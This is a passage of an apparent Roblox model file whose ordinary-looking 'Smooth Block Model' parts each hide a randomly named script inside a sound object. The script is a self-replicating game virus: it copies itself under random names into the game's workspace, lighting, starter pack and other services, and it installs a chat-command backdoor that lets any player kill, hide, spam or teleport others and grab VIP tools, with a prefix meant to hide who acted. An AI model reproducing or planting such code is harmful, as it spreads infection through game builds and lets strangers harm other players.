if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX832">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-202</X>
					<Y>35.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX833">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX834">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX835">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-166</X>
					<Y>35.2000008</Y>
					<Z>-8.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX836">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX837">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
